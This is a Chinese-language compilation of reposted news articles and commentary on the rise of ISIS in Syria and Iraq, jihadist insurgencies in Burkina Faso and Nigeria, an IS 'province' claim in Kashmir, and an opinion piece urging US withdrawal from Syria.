当时，迦拉广场被改名为“自由广场”，钟楼上挂起伊斯兰国的黑旗，IS宣布定都此地。城中三座教堂全部关闭，十字架和基督标志纷纷被拆除和掩盖，一间什叶派清真寺漂亮的宝蓝色穹顶，被炸成了碎片。烟草酒品被视为“西方堕落文化的象征”，遭到收缴，后被付之一炬。

ISIS的宗教警察整天在街上转悠，看到不顺眼的行为就抓人、暴打、枪决，死刑从几天一次迅速上升到一天多次。人们什么都不敢做，因为不论做什么都会被死刑。学校被关闭了，孩子们无事可干，武装分子在城中把孩子召集起来，训练他们玩枪杀人。

整个拉卡就仿佛是Activision公司的射击类电子游戏《使命召唤》的3D真人版。

伊斯兰国组织通过讹诈领地人民和商户，存下了很多金货，另方面，他们还在叙利亚北部沙漠中占据了不少油井，每天可以售出四万桶原油，赚的盆满钵满。

2013年5月，美国参议员John McCain突然造访叙利亚，在卫队的保护下穿过一段反对派武装控制的边境线，进入了国境，他来到叙利亚自由军基地所在的小楼，会见了12名反对派领袖。

结果是，对方连番上阵，一起指责华盛顿当局不肯提供武器。他们抱怨，美军没有一点支援的意思，他们要的是枪炮，而美国方面却给他们送来了一大堆给养，塑料装的单兵作战口粮（MRE）塞满了他们的家，几乎随处可见。

> “难道你们想让我们用披萨饼把人家的飞机打下来吗？”一位军官这样朝着麦凯恩吼着。

回国后，麦凯恩开始各方游说，请求美国援助，但总统心意已决，不会提供大量武器，认为那样只能让局势更加恶化，奥巴马说，除非叙利亚政府军使用化学武器，突破伦理底线，美军才有理由出动。

就在那年夏末，巴沙尔政府军使用了沙林毒气攻打胡塔（Ghouta）小镇，美军情报部门很快拿到了证据。

但是，针对空袭巴沙尔武装一事进行的表决结果，国会也进行了操控，这是美国人的资料中自己说的；虽然一直和美国保持一致的唐宁街也提出了空袭议案，但最终没能通过。最后，奥巴马拿到了俄罗斯的口头承诺，“共同督促巴沙尔销毁化学武器”。

叙利亚反对派领导人觉得，西方国家拒绝干预的事实，比轰炸本身更难接受。此时，很多先前有“温和”倾向的反对势力，已经开始投靠了宗教极端势力的一边。至少，那边儿能给他们更多酬劳。

然而在美国，叙利亚的化学武器问题揭开了白宫的内乱。希拉里一句“叙利亚的邪恶问题”，几乎造成了国安委的撕裂和对立，许多资深顾问因此辞职。国会和政府一样的不齐心，麦凯恩之类的鹰派主张武装叙利亚反对派，而另一些共和党议员则只愿意给攻打ISIS的组织提供武器。

不过和广大选民一样，大多数民主党人和一部分共和党人，都不愿美国再次深度介入外国事务。

「图」

「图」

ISIS：从猥琐荒蛮的起家到心机婊式升级版

“伊斯兰国”组织戏剧性的历史得益于伊拉克什叶派政府和逊尼派部落杜莱姆之间的争斗，那已经是10多年前的事了。

在伊拉克，逊尼派的人口虽然没有什叶派的多，但一直占据主导地位，直到美军占领伊拉克，什叶派才取得了政治上的优势。如今，将权柄交付什叶派的美军早已撤走，杜莱姆部落的人自然认为，“一切该回归正轨了”。

2007年前后，伊拉克安巴尔省内许多逊尼派部落和美军协同作战，打击盘踞在当地的极端势力，史称“安巴尔觉醒（Anbar Awakening）”运动。当时杜莱姆部族在其中扮演了主要角色。

但不久后，形势发生了变化，杜莱姆部中很多人都抱怨伊拉克现政府比扎卡维的部队还要暴虐。2012年底，逊尼派和中央政府的关系恶化到了极点，政府安全部队突袭了伊拉克财政部长、逊尼派出身的拉菲·伊萨维的家。伊萨维民望很高，经常直言不讳的批评马利基政府。

之后，几千名杜莱姆部落民众涌上费卢杰街头，示威者高举横幅，声称“只要动脉跳动，就不会停止抗议”。这场和平游行风潮持续了长达一年有余，马利基终于恼羞成怒，2013年12月，他派出的安全部队进入了拉马迪，用暴力将示威人群驱散，帐篷系数拆除。就这样，真正的冲突爆发了。

「图」

「图」

2014年1月1日，示威者纵火焚烧了拉马迪警察局；1月2日，骚乱波及费卢杰；3日，一队“伊斯兰国”武装分子进入了城市，在这些“圣战士”的帮助下，部落民众的气势压倒了警察。当日共造成一百余人死伤；4日，政府方面残余人员退出了拉马迪，市政厅上，升起了ISIS的黑旗。

“杜莱姆-伊斯兰国联盟”很快获得了其他逊尼派部族的支持，随后，复兴党分子组成的“纳合什班迪教士团（Naqshibandi Qrder）”也加入了战团，和杜莱姆部、ISIS并肩作战。为了夺取拉马迪和其他五座城市的控制权，逊尼派和政府军展开了苦战，ISIS完全夺取了费卢杰的中心城区，这在历史上尚属首次。

阿布·瓦希卜·杜莱姆，这位前码农就成为了ISIS驻安巴尔省的军事指挥官。瓦希卜此人性格张扬，颇为自恋，他曾在安巴尔省高速公路上屠杀三名叙利亚司机，还拍照上传社交媒体。

很多伊拉克人都注意到了瓦希卜的姓氏——他也是杜莱姆家族的成

员。在费卢杰组织游行的人和他是同族亲戚。

美方很快宣布，同意向马利基政府交付更多的武器援助，其中还包括著名的地狱火导弹。美方认为，伊拉克的和平安全是马利基政府的职责，眼看恐怖分子攻陷城池，华盛顿不会坐视不理。

然而，杜莱姆部族酋长阿里·哈蒂姆·苏莱曼不这么认为，“这是部族革命”，他对一家伦敦的阿拉伯语报纸说；流亡土耳其的逊尼派政治家塔里克·哈什米则说，“这是伊拉克之春”。哈什米也是前美国驻叙利亚大使罗伯特福特的朋友，他直接称，巴格达迪一伙人进驻安巴尔省的这步棋，是出自他的建议。

当时ISIS宣称他们不会长期占领，只负责为逊尼派提供弹药，帮逊尼派摆脱残暴的伊拉克政府、追求独立自主。一些逊尼派人士也表达了对伊斯兰国组织的信任。“他们的领导人都是伊拉克人”，杜莱姆族长扎伊丹说，“巴格达迪在为1500万伊拉克逊尼派而战，他是在和波斯人作战”……扎伊丹认为，巴格达迪就是在萨迈拉长大的，完全可以为自己所用。

但扎伊丹错了。**ISIS**进驻安巴尔省后，很快就给当地人来了几个下马威。阿卜杜拉扎克·苏莱曼也是一位逊尼派族长，在拉马迪和扎伊丹住得很近，某天，阿卜杜拉扎克出门谈生意时，一辆ISIS士兵乘坐的卡车直扑进他的农场，打死了阿卜杜拉扎克的几个保镖，烧毁了他的汽车，最后用炸弹把他家夷为平地。

“安巴尔觉醒”期间，阿卜杜拉扎克曾经也是一位领袖人物，配合美军打击扎卡维的门徒，并将他们驱逐出了安巴尔省。这就是为什么ISIS会报复。但是他们没有杀死阿卜杜拉扎克本人。

「图」

「图」

美国国防情报管理主管弗林恩也认为，ISIS组织有了一些变化。巴格达迪计划周密，这点上远强过他的前任扎卡维。他很有耐心，又讲究策略，还建立了稳固的盟友关系和可靠的支持体系。弗林恩认为，ISIS能在伊拉克如此猖獗，绝非偶然。

扎卡维当年试图在伊拉克挑起内战，而后从中渔利，但他并没有得到安巴尔省各个部落的认同，这是他的最大失误。他生性恶毒，威胁到了部落的权威。而巴格达迪意识到了这些问题，并作出了改变。这是

出自2014年弗林恩作出的参议院国会听证会报告。

ISIS新领导人利用叙利亚乱局为其组织找到了新的资源，而且他从叙利亚吸收到了不少新门徒，还帮助极端分子开阔了新目标。他完善了行政体系、任用了房屋、交通、战略信息等多方面的专门人才……

ISIS的下一波攻势指向了其领导人巴格达迪的老家。2014年6月，突击队炸毁了萨迈拉南端的一处警察局，几个小时后，150名搭乘皮卡、扶着防空炮、高声叫喊着的极端分子冲入城中。他们很快占领了主要建筑，大学校园也被纳入了势力范围，警察退出了阿斯卡里清真寺附近的据点，对方仍在步步紧逼。之后，政府从巴格达调来大批军队，极端分子们才撤出了萨迈拉地区。不过从费卢杰到叙利亚边境，六个沿线城市均经历了类似的攻防战。

与此同时，1500名ISIS士兵已经进入了摩苏尔郊外。古城里生活着180万民众，有两万五千名军人守卫。但大多数军人都开小差去了，警察局根本没人上班，都是一群吃空饷的货。哈拉维将军对路透社说起这件事时还指出，除了人手不够外，武器也不够，政府把大批武器和装甲都送到南方去了；摩苏尔驻军的一位营长告诉记者：“我们一整个营，只有一挺机枪。而他们，恐怖分子们，每辆皮卡上都有一挺机枪”。

……

到了六月底，从叙利亚西部一直延绵到伊拉克中部的大部分地区都被ISIS收入囊中，论面积，比黎巴嫩和以色列加在一起还要辽阔。不仅有土地，还有土地上的油井、精炼厂、军事基地、大学、医院、工厂和银行。

2014年7月4日，伊斯兰教传统的祈祷日这天，巴格达迪在保镖的簇拥下来到摩苏尔著名的努里大清真寺（al-Nuri）。这是巴格达迪第一次在媒体面前亮相。就在这天，他宣称“哈里发国重现人间了”……

约旦情报局反恐部门高级官员哈伊萨姆，同样出身部落家族，他很理解逊尼派的矛盾心理，但看到这种矛盾心理被“伊斯兰国”如此利用，他感觉愤懑又惊讶。

> “厄运就像滚雪球。如果大多数人都觉得政府不能代表自己的利益，那么连串的悲剧就开始了。伊斯兰国最擅长利用这种情绪……”，哈伊萨姆对媒体说，“雪球越滚越大，这一切的起因是2003年的战争”。

坏事不仅发生在伊拉克，沙特阿拉伯、利比亚、阿尔及利亚、也门、阿富汗和巴基斯坦，也能也会一一翻开同样的篇章。宗教极端分子打着“赢得自由”的旗号对抗威权政府，呼唤“公正社会”以赢得人民的支持。但最终，他们还给人间的是一个军事独裁政权，充斥着腐败、残忍和死亡。〇

原文

下一张多米诺骨牌 - iYouPort

中东和北非

根本不清楚的是这些战斗背后的人究竟是谁

「图」

「图」

这里是三年前圣战首次出现的地方。圣战分子袭击了卡布奇诺和附近的 Splendid 酒店，三十人死亡，数十人受伤。在马里隔壁发生的冲突刚刚陷入了关键状态。布基纳法索与其他六个西非国家接壤; 不稳定使其可能会形成一条走廊，圣战可能会从萨赫勒地区蔓延到几内亚湾沿岸各国。一个长期被忽视的 2000 万人口的国家现在被视为一个重要的战场。而且，战斗进展不顺利。

自 2016 年1月以来，布基纳法索已经发生了 230 多起袭击事件。2017 年，土耳其餐馆阿齐兹伊斯坦布尔遭遇袭击，圣战分子杀害了18人。3月份，另有16人（包括8名袭击者）在法国大使馆和军队总部遭到的袭击中丧生。

冲突主要集中在两个区域，沿着与马里的北部边界，在东部与尼日尔接壤（见地图）。在这两个地区，圣战分子都是移动的和全副武装的。他们的主要目标通常是政府办公室和军事前哨。已经有超过 250 人被杀。

「图」

「图」

根本不清楚的是这些战斗背后的人究竟是谁。

基地组织伊斯兰马格里布（一个在萨赫勒大部分地区开展活动的圣战组织）声称发动了一些攻击，例如 Cappuccino 的攻击。包括 Nusrat al-Islam，大撒哈拉伊斯兰国和 Ansarour Islam 在内的各种类似团体都声称了为其他某些攻击负责。但是，有超过 90% 的攻击仍然无人

认领且未归因。

法医工作提供了一些线索。布基纳法索军队参谋长 Oumarou Sadou 准将说，北部和东部使用的自制炸弹有相似之处，这表明这些袭击是相互关联的。但除此之外，Sadou 对袭击者的身份也感到困惑，特别是在东部发生的袭击。

一些人被怀疑是忠于 Blaise Compaoré 的安全部门的前成员，他们在 2014 年被人民起义推翻之前统治了该国27年。他的垮台导致他的1200名总统卫队解散。许多成员对失去特权表示不满。不过没有确凿的证据表明他们的参与。

然而，Compaoré 的追随者与圣战分子有着长期的联系。智库国际危机组织称，他的政权与该地区的武装团体达成协议，给予他们支持以换取不攻击布基纳法索的承诺。在圣战分子控制了马里北半部之后，这场休战在 2013 年被终结了。法国派遣部队将他们赶回去，而 Compaoré 则被迫向马里边境部署了1000 名士兵。

Sadou 将军说，现在布基纳法索本身需要援助，特别是空中支援。“在发生危机之前，马里正在寻求帮助。但是没有人搭理我们，“他说。“如果我们得不到更多的帮助，我觉得情况肯定会变得更糟。”

包括多哥、贝宁和加纳在内的邻国已经向布基纳法索附近的边境派兵，并袭击了可疑的武装前哨。但目前尚不清楚布基纳法索是否会获得以及获得多少直接支持。法国已经向该地区派遣了 4,500 名士兵，但这是最低预算。G5萨赫勒地区，5000 名士兵组成的反恐部队来自马里、毛里塔尼亚、乍得、尼日尔和布基纳法索，它的设立就是为了应对眼前这种类型的威胁。

Aziz Istanbul 自遭遇袭击以来尚未重新开放。它破碎的窗户和被弹痕覆盖的墙壁让人对这个国家可能的未来产生了很多焦虑。

- 关联：《与伊斯兰国的斗争正在向非洲转移，军事干预不是解决方案？》

Burkina Faso, west Africa’s linchpin, is losing its war on terror: Attacks are intensifying, but the authorities have no idea who is behind them. Less clear is who is behind the fighting.

原文

与伊斯兰国的斗争正在向非洲转移，军事干预不是解决方案？ - iYouPort

中东和北非

与伊斯兰国的斗争正在向非洲转移。一系列圣战活动正在撒哈拉两侧延伸。

2017 年经历持续激进活动的非洲国家数量达到 12 个；去年，冲突夺去了1万多人的生命，几乎所有遇难者都是平民。这场战争吸引了来自美国、法国、英国和德国的军队。令人担忧的是，圣战分子似乎正在赢得胜利……

「图」

「图」

两个束发的年轻女孩穿着搭配金色饰边的粉红色连衣裙，看起来再普通不过了，但她们的手臂和腿部周围却裹着惊人的白色绷带。医院病房里挤满了病人，被截肢的残腿像树桩一样指着天花板。门口附近挂着彩色标签，用于对伤员的状况进行分类：红色表示最紧急的情况，黑色表示已经超出了可救助的范围。

这一切证明了红十字国际委员会的外科医生在处理无情的炸弹和枪击受害者的工作中所面对严峻效率。他们的诊所也许是在迈杜古里唯一有效的诊所。

这座尼日利亚东北部的主要城市已经是一系列圣战风潮的中心，这些战争在撒哈拉两侧非洲两条宽阔的地带上延伸。北至地中海，从埃及经过利比亚、突尼斯到阿尔及利亚，南部延伸从索马里和肯尼亚东部通过尼日利亚和尼日尔，再到马里，西部布基纳法索和塞内加尔（见地图）。

「图」

「图」

大部分冲突几乎没有被报道，尽管去年它已经夺去了1万多人的生命，几乎所有遇难者都是平民。它还涉及与美国驻非洲特种部队司令 Mark Hicks 将军称之为“可能是在伊拉克和叙利亚境外与伊斯兰国（IS）成员进行的最大规模的正式战斗”。这场战争吸引了来自美国、法国、英国和德国的军队，并吸引了其他 IS 的残余势力。

非洲蓝

令人担忧的是，圣战分子似乎正在赢得胜利。

负责该地区法国反恐行动的 Bruno Guibert 将军称，该运动取得了重大进展：“我不能说情况正在恶化，实际上它也变得越来越好。”然而，统计数据表明：**2010** 年至 **2017** 年间，涉及非洲圣战组织的暴力事件数量增加了 **300%** 以上**;** 根据美国国防部非洲战略研究中心的数据，在此期间，经历持续激进活动的非洲国家数量增加了一倍多，达到**12**个。许多西方军官都很沮丧。没有更多的军队，“毫无疑问我们会失败”，一名高级法国军官说。

在圣战组织的大杂烩中，许多人承诺忠于基地组织或伊斯兰国。其中包括索马里青年党、Boko Haram 及其在尼日利亚的派系，还有马里的 Jama’a Nusrat al-Islam wal-Muslimin。在所有国家发生的冲突可能主要都是由当地的不满引发的。但叛乱分子有一些共同的意识形态特征。2011年穆阿迈尔卡扎菲政权垮台，利比亚崩溃，这些意识形态得到了加强。

武器从利比亚的军械库中溢出，跟随从人口到毒品的各种走私网络横跨撒哈拉。有迹象表明，圣战分子正在相互学习，并从中东的激进组织那里汲取资金和支持。法国总统埃马纽埃尔·马克龙警告说：“我们面临的挑战是管理冲突……以及如何阻止他们联合起来。”

最重要的战役是尼日利亚反对博科圣地的战役。尼日利亚拥有的土地面积与法国和德国的总和一样大，是非洲人口最多的国家（人口可能达1.86 亿），也是最大的经济体。如果一个拥有这种资源的国家不能抑圣战病毒，那么非洲那些贫穷和能力较弱的国家还有什么希望呢？

曾经在美国非洲军事指挥部 AFRICOM 担任高级职务的退休将军就这样说道：“如果尼日利亚倒塌，它将形成一个巨大的污水坑，其他六七个国家都会被沦陷。”此外，尼日利亚的困境也为许多其他非洲国家及其西方盟友提供了醍醐灌顶的教训。

尼日利亚政府坚持认为战争已经取得了胜利。“博科圣地被打败了，”

尼日利亚高级将军 Tukur Buratai 说，然而，就在距离迈杜古里约 20 公里（12 英里）的基里比里村，他的保证听起来极为空洞，在这里政府控制的领土之界限以浅沟为标志。一名警察指着灌木丛外围说：“那里依旧不安全，……那是博科圣地的。”

迈杜古里是博科圣地的诞生地，他们的派系构成了世界上最致命的恐怖组织。它是如此极端，甚至连 **IS** 和基地组织都会对他们感到恶心。该组织由一位富有魅力的伊斯兰传教士 Mohammed Yusuf 的追随者创立，他于 2002 年在 Maiduguri 开办了一所宗教学校和清真寺。“此人非常有说服力，他能让你同意他所说的一切”，一位听过 Yusuf 演讲的警察线人说。

Yusuf 劝告他的追随者拒绝国家（因为它是由人而不是神创造的），以及拒绝“与伊斯兰教相矛盾的任何类型的知识”，包括诸如地球是圆的、或雨来自蒸发等这些概念。尽管尼日利亚北部各州长期以来一直强制执行伊斯兰教法，但对于 Yusuf 来说那些解释并不严格。他的要求之一是禁止世俗学校教育（该组织的名称“Boko Haram“在豪萨语中的意思是“西方教育是一种罪恶”）。

「图」

「图」

2009 年，Yusuf 的人马一直在攻击警察和军队，杀害不同意他对伊斯兰教的解释的神职人员。尼日利亚警方在 Maiduguri 警察总部外的一群人面前逮捕并杀死了 Yusuf（政府坚称他在试图逃跑时被枪杀）。Yusuf 的追随者在 Abubakar Shekau 的指挥下躲藏起来。 2011 年复出，他们炸毁了尼日利亚警察总部和尼日利亚首都阿布贾的联合国大楼。

截至 2014 年底，他们已经泛滥了尼日利亚东北部三个州的大部分地区，并在从 Chibok 绑架了近 300 名女学生。并在向 Maiduguri 进军的过程中获得了“国际声誉”。

已经被腐败掏空的尼日利亚军队陷入了混乱。只能由“幽灵士兵”填补队伍（就是只有编制没有活人的队伍）一位西方官员回忆起这件事，本应该拥有 100 ~ 150 名士兵的队伍实际上只有 20 个人组成。

与叙利亚和伊拉克的 IS 组织不同，后者建立了民政管理部门来管理其自称的哈里发，博科圣地起初并没有试图治理，该组织更喜欢混乱。他们轰炸了清真寺和市场，屠杀村民、绑架妇女和儿童，有些女

孩被奴役并被出售。其他人被迫成为人肉炸弹。

军事学院西点军校“打击恐怖主义”中心的一项研究发现，**2011** 年**4**月至 **2017** 年**6**月期间，该组织使用的 **434** 枚此类人肉炸弹中有一半以上是女性。联合国儿童基金会去年表示，至少有**135**名儿童被博科圣地当成了人肉炸弹。

这种肆意暴力可能反映了创始人 Shekau 的心态，这是一个神秘的人物，通过他漫无边际的独白视频而闻名。一方面，他给自己找到了理由将在 Chibok 被绑架的女孩当奴隶卖掉：“安拉说我应该卖掉。他命令我卖掉。“一位参加布道的人说，此人童年时代的熟人回忆他时称其为一个脾气暴躁的隐士。 “即使在背诵”古兰经“时，他仍然高声呐喊 ……他非常好斗、具有攻击性”。

他在 2015 年宣誓效忠的 IS，将 Boko Haram 的名字改为伊斯兰国西非省（ISWAP）。 2016 年，IS 将 ISWAP 的领导人命名为 Abu Musab al-Barnawi，将该组织分为两个派系。与此同时，数以千计的 Maiduguri 村民和居民拿起了砍刀或手工制作的火枪，加入了一支自卫民兵 — 民间联合特遣部队（CJTF），保卫城市的门户。

尼日利亚新总统 Muhammadu Buhari 是北方人，前军事独裁者，他命令将军将他们的总部迁至迈杜古里。乍得、尼日尔和喀麦隆等邻国向一支多国部队派兵。几个月后，军队重新占领了多数大城镇，将叛乱分子赶向了森林或乍得湖，这是四个国家边界相交的大片沼泽地。

从那时起，斗争已经陷入僵局。军队控制着主要城镇和城市间的一些道路; 叛乱分子控制着乡村和村庄。美国人认为 Barnawi 指挥了约 3,500 名战士（Shekau 当时大概拥有 1,500 名战士），这意味着他可能正在负责的是世界上最大的 **IS** 部队。因为据认为，叙利亚和伊拉克方面只剩下几千名 IS 士兵了。

ISWAP 已经学会了如何制造路边炸弹，并且已经变得对攻击操作更加熟练。许多人认为它正在接受包括 IS 在内的其他圣战组织的培训和建议。他们的队伍中甚至还有外国战士。

“我们看到来自马里的人，看到来自利比亚的人，”26,000 名战士组成的联合特遣部队 CJTF 的指挥官 Abba Kalli 说道。 ISWAP 的成熟程度在2月份被显示出来，当时其人员进行了长距离的搜查，绑架了来自邻近 Yobe 州 Dapchi 镇的 110 名女学生。 “这不是尼日利亚军队能够做到的事”，一名西方军官说。

「图」

「图」

目前这支军队虽然与 2015 年相比能力强得多，但却过度紧张，士气低落。大约 70,000 名步兵的部队中约有一半部署在东北部。没有损失的具体数据，但熟悉这一数字的人说，去年有 300 多名尼日利亚士兵被杀，1,500 人受伤。如此高的比例导致该部队无法允许战士休假和进行再训练。一名特种部队士兵说，他已经连续工作了四年没有休息。他的一位战友顶着布满血丝的眼睛，这种情绪的代价已经显露无疑，他们靠大麻提神。

与旧时的博科圣地不同，**ISWAP** 正在巩固对边境村庄的控制权。他们对当地人征“税”，并设置路障以勒索途径人的钱财。 ISWAP 在已经超出国家控制范围的地区提供安全和他们自己的法律。虽然在与尼日利亚军队的持久战中无法占领领土，但他们正在建造一个原始哈里发。“你可以看到 IS 的黑旗覆盖在村庄的小屋上，”一名军官说。

尼日利亚将军嘴上挂着“赢得人心”，但实际上他们正在做相反的事。军队系统地将人们从农村清除出去、烧毁他们的村庄、并将他们装入 Maiduguri 和其他“驻军城镇”的肮脏营地里。总共有大约 240 万人因尼日利亚和邻国的战斗而流离失所。军队辩称，有必要让人们远离战斗，以保护他们，并拒绝圣战分子提供的食物和住所。

“灌木丛中没有无辜的人，”联合特遣部队的 Kalli说。

大多数观察家认为，军队不分青红皂白的杀戮和强迫人民进入驻军城镇的行为正在助长叛乱活动。难民营里几乎没有工作可做，通过军队和要求贿赂的 CJTF 管理的检查站进入。大赦国际说许多妇女和女孩在难民营里遭到强奸，其中已经有数百人（即使不是数千人）因饥饿或缺乏医疗而死亡。

援助工作人员表示，“这种状况正在支持 **ISWAP** 的招聘战略，而尼日利亚政府不会对此采取任何措施。” “它简直就像是个圣战者制造厂。”

「图」

「图」

尼日利亚国家的失败远远超出了难民营。在受博科圣地影响的地区，几乎没有人获得学校教育、医疗保健或其他公共服务。在巴马这个曾

经有超过 25 万人居住的小镇，综合医院变成了流离失所者的营地。援助工作者认为，尼日利亚的东北部正在功能失调的失败状态下。

联合国开发计划署发现，**71**％在非洲加入圣战组织的人是为了应对安全部队的残暴行为才这样做的。大多数人没有受过教育，来自贫困地区。难民营中提供的服务很少，无国界医生组织（MSF）或世界粮食计划署（WFP）等团体在这里提供服务，而这些团体需要为大约 200 万人提供食物。这还不是全部。在迈杜古里的一家无国界医生诊所里，超过一半的床上都挤满了骨瘦如柴的儿童，有些儿童的头发因饥饿而变得脆弱呈现橙色。

不过，即使在贫困中，也有经济发展的微光。在 Bakassi，一个为流离失所者提供的大型营地中，Hajja Kale Muhammad 在红十字国际委员会拨款的一台缝纫机上缝制一个手提包时笑得很开心。三年前，Muhammad 夫人带着四个孩子逃离博科圣地。她现在的业务每周收入大约50,000 奈拉（139 美元），这个国家每月最低工资 18,000 奈拉，她的收入可以说是一笔可观的数额了。去年，红十字国际委员会将其投入尼日利亚北部的约 60％ 的用于提供紧急粮食援助的资源，现在用于了经济发展。

同样，世界粮食计划署正试图通过给他们提供的包装种子和渔网来让农民和渔民重新站起来。这类工作甚至还有一个新的流行语：一次性提供紧急援助、发展援助和安全的“三重关系”，希望它们能够在相互协助下得以加强。

然而这其中特别需要提到的缺席者是尼日利亚政府。他们在两年前发布过令人印象深刻的重建东北部计划，但几乎将所有人道主义和发展工作都扔给了国际组织。一名援助工作人员说：“他们把婴儿递给了我们，现在我们担起了这个责任。”

这种倦怠让西方军队感到担忧，因为西方军队不愿陷入另一场战争。美国和英国训练尼日利亚军队并提供建议和情报。美国特种部队还与尼日尔的军队进行联合巡逻，法国在萨赫勒地区开展广泛行动。西方正在资助 G5，这是一支来自布基纳法索、乍得、马里、毛里塔尼亚和尼日尔的地区反恐部队。

但是他们不愿意在尼日利亚的对 **ISWAP** 战斗中发挥更直接的作用，例如在索马里进行的战斗，在那里美国有 500 名士兵在地面进行突袭并配合无人机袭击，以杀死或捕获圣战分子。部分原因是，至少目前，ISWAP 对西方国家几乎没有直接威胁。乍得湖沼泽地无法进入，因此很少有外国战士可以进出那里。也太贫穷了，因此对西方出生的

圣战分子没有吸引力，那些人抱怨伊拉克和叙利亚的生活缺乏物质享受。

事实证明，该地区的其他圣战组织能够在当地攻击西方目标，例如酒店。但近年来，只有利比亚的 IS 部队成功地在欧洲发动了攻击。

去年10月，四名美国士兵在尼日尔遭遇了伏击，导致他们对美国参与非洲的程度表示怀疑。这一事件是继美国 25 年前在摩加迪沙损失了18名队员后在非洲作战中遭受的最重大生命损失，这一事件也促使了其部队的撤离。

在尼日尔发生伏击之后，可能会引发某些反思。美国士兵已经接到命令以执行较少的任务并减少风险。今年早些时候，五角大楼告诉 AFRICOM 计划在三年内将非洲特种部队人数减少50%。为填补这一空白，英国、法国及其盟国将不得不把更多的部队投入实地。

结论

西方空袭可能会造成重大伤亡，并使 ISWAP 的组织能力在一年或更长的时间内下降。但仅空袭可能不足以击败该组织。“我们可以淘汰领导层，但这会让事情变得更好吗？”一位英国军官说。西方军官谈到需要长期致力于训练、装备和协助当地部队，并在需要时给予空中支援。

Hicks 将军将 1993 年非洲圣战主义的增长与阿富汗塔利班的增长进行了比较。他们对西方构成的威胁“仍然处于初期阶段，可以以生命和财产都能负担得起的价格来处理，”他说。让危险恶化可能会导致威胁增长，直到西方势力被迫采取直接的大规模干预。

但自 2001 年以来西方在阿富汗的经历在此又提出了一个教训：单靠军事干预无法解决问题。只是可以扰乱圣战分子并争取时间来赢回心怀不满者和被边缘化人士的忠诚。在大多数情况下，这应该是非洲陷入困境的统治者们的工作 — 如果他们愿意做的话。〇

Jihad’s next battleground

"The fight against Islamic State is moving to Africa"

原文

伊斯兰国在印度建立了一个"省" - iYouPort

中东和北非

注意印度的地缘政治意义，而且它也是高堡奇人的主战场之一

「图」

「图」

伊斯兰国（IS）首次声称它在印度建立了一个“省”，此前克什米尔地区的武装分子和安全部队发生冲突，导致一名据称与该组织有关系的武装分子死亡。

IS 的 Amaq 通讯社在一份声明中宣布了这个名为“Wilayah of Hind”的新省，该声明还声称 IS 在克什米尔 Shopian 区的 Amshipora 镇对印度军队士兵发动攻击并造成伤亡。

IS 的声明与警方的声明相对应，警方称一名名叫 Ishfaq Ahmad Sofi 的武装分子在 Shopian 的一次冲突中丧生。

IS 建立新省的声明似乎是为了加强其地位，该组织于4月从伊拉克和叙利亚的自称“哈里发”中被驱逐，在那里该组织一度控制了数千英里的领土。

IS 已经加强了肇事逃逸和自杀式袭击，包括表示对斯里兰卡大型爆炸事件负责，此次事件造成了至少253人死亡。

“在一个没有类似实际治理的地区建立一个’省’是荒谬的，但它不应该被注销，”跟踪伊斯兰国的 SITE 主管 Rita Katz 说。

“世界可能会注意到这些发展，但对于在脆弱地区的圣战分子来说，这些都是为帮助重建 IS 的’哈里发’地图奠定基础的重要手势。”

此前一名军方官员和 Sofi 接受一份同情 IS 的斯利那加杂志的采访，Sofi 已经参与了克什米尔的几个激进组织，然后宣誓效忠伊斯兰国。

警方和军方消息人士称，Sofi 被怀疑对该地区的安全部队进行了数次手榴弹袭击。

“这是一次干净的行动，在交火期间没有发生任何附带损害，”警方发言人在声明中表示。这位军方官员说，有可能 Sofi 是与伊斯兰国有关的唯一一个留在克什米尔的武装分子。

分离主义者几十年来一直在克什米尔与印度统治进行武装冲突。

这些团体中的大多数希望克什米尔独立或加入巴基斯坦。他们没有像伊斯兰国一样寻求在穆斯林世界建立一个帝国。

核大国印度和巴基斯坦在克什米尔问题上打了两场战争，在巴基斯坦武装组织于 Pulwama 杀害了至少40名准军事警察的自杀式袭击事件发生后，今年早些时候又发生了第三次战争。

Islamic State claims ‘province’ in India for first time after clash in Kashmir

原文

停战任重道远，叙利亚的未来在哪里？ - iYouPort

中东和北非

特朗普最近表示，美国应该尽快从叙利撤离。呼吁美国留在叙利亚的主要外交政策机构的声音被拒绝。

在叙利亚估计已约有500,000人死于战争，1000万人流离失所。特朗普罕见的做了一个正确的决定。虽然美国在叙利亚和整个中东地区破坏性的军事行动已经太久了。

外交政策机构反对美国退出叙利亚，理由是它将为伊朗和俄罗斯 – 叙利亚的盟友提供支持，他们认为美国有权利和手段来确定谁来治理中东，以及他们选择哪些盟友。由此美国陷入了中东和北非政权更迭的不间断战争中，其中包括阿富汗，伊拉克，叙利亚和利比亚……

现在是美国公众了解叙利亚战争的时候了。主流媒体已经将其描述为一场内战。但它不是。

自2011年开始以来，美国，沙特阿拉伯，以色列，土耳其等国推动的一场战争希望能推翻阿萨德，迫使伊朗和俄罗斯走出叙利亚。但事实上，战争除了摧毁叙利亚，破坏欧洲稳定和让美国军人流血之外，没有做任何其他事。据估计，已经约有50万人死于战争，其中1000万人流离失所。阿萨德仍然掌权，伊朗和俄罗斯依然是他的盟友。总之，美国的努力是一场灾难。

美国试图废除阿萨德的决定是在2011年阿拉伯之春时期采取的。当叙利亚爆发抗议时，阿萨德政权无情地压制抗议者，奥巴马总统和国务卿希拉里克林顿转向消除阿萨德。他们似乎相信能迅速推翻政权，并且显然对成功的可能性并不十分有谱。

由于直接由美国领导的叙利亚战争将违反国际法，奥巴马发动中央情报局与沙特阿拉伯和其他国家秘密行动。中央情报局和沙特阿拉伯在代号为 Timber Sycamore 的行动中联手支援来自叙利亚境外的反阿萨德部队和圣战分子。没有经过国会投票、也没有联合国投票。

叙利亚，伊朗和俄罗斯联手抵制美国和沙特的努力。 2014年一些圣战分子形成“伊斯兰国”并宣布建立“哈里发国”，之后美国开始打击伊斯兰国。美国支持库尔德战士对抗伊斯兰国，最终导致愤怒的反库尔德土耳其与俄罗斯建立隐式联盟。

经过六年的战争、破坏和叙利亚的失败，现在是时候停止了，最重要的是终止美国对反阿萨德部队的支持。然而安全状态依然坚持在伊朗和俄罗斯在叙利亚的存在。

本网以前的故事《ISIS 简史》；以及这场严重灾难的一个惊人的侧面《反对派和巴沙尔政府干着同样的勾当——叙利亚：恐怖主义犯罪》。这些只是一小部分，已经足够窥见整个战争的荒唐。

All the war-propaganda, all the screaming and lies and hatred, comes invariably from people who are not fighting

